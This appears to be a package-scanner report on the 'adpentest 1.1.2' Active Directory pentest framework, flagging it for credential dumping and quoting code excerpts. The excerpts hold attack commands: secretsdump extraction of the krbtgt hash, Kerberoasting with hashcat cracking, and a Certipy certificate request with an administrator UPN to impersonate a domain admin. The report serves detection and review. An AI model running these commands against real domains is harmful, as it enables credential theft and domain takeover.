adpentest 1.1.2
AD pentest framework, credential dumping
“Active Directory penetration testing framework with automatic Domain Controller detection”
Certipy requests certificate for alternate UPNHashcat Kerberos cracking mode
SHA-256986bcfb82af9c4c6a35f920adc58ca5f1007ea9edde136abfb79ff4f08fe0aee
Evidence
1from __future__ import annotations
2
3import argparse
4import imaplib
5import ipaddress
6import json
7import os
8import platform
9import poplib
10import re
11import shutil
12import smtplib
13import socket
14import subprocess
15import sys
16import time
⋯4 lines
21from typing import Any
22
23import dns.resolver
24import dns.reversename
25from ldap3 import ALL, Connection, Server
26
27import sqlite3
28
29from pyasn1.codec.der import decoder, encoder
30from pyasn1.codec.native import decoder as native_decoder
31from pyasn1.type impor …
1674:59… led."
1675 )
1676 result["remediation"] = (
1677 "Supply valid domain admin credentials and re-run with: "
1678 f"secretsdump.py <domain>/<admin_user>:<password>@{dc_ip} -just-dc-user krbtgt"
1679 )
1680 return result
⋯7 lines
2081:78… -dc-ip {dc_ip} -request -outputfile spns.txt"
2082 ),
2083 "next_step": "hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt",
2084 })
2085 conn.unbind()
2086 print(f"[VERBOSE] [auto_privesc] Kerberoast scan: {len([f for f in result['findings'] if f['technique' …
2164:100… client auth → forge cert as any user including DA",
2165 "exploit_command": f"certipy req -u {username}@{domain} -hashes {hashes_str} -ca <CA-name> -template {tpl} -upn administrator@{domain}",
2166 "next_step": "certipy auth -pfx administrator.pfx -dc-ip {dc_ip}",
2167 })
2168 conn.unbind()
2169 except Exception as e:
2170 result["errors"].append(f"AD …
7885:19…
7886
7887 if tool == "certipy_find":
7888 dc_target = dc_fqdn or host
7889 cmd = [executable, "find", "-target", dc_target, "-vulnerable"]
7890 if domain:
7891 cmd.extend(["-dc-ip", dc_ip or host])
7892 if nt_hash:
7893 cmd.extend(["-u", f"{_user}@{domain or host}", "-hashes", _hashes_arg])
7894 print(f"[VER …
No evidence locations were recorded for this file. Raw result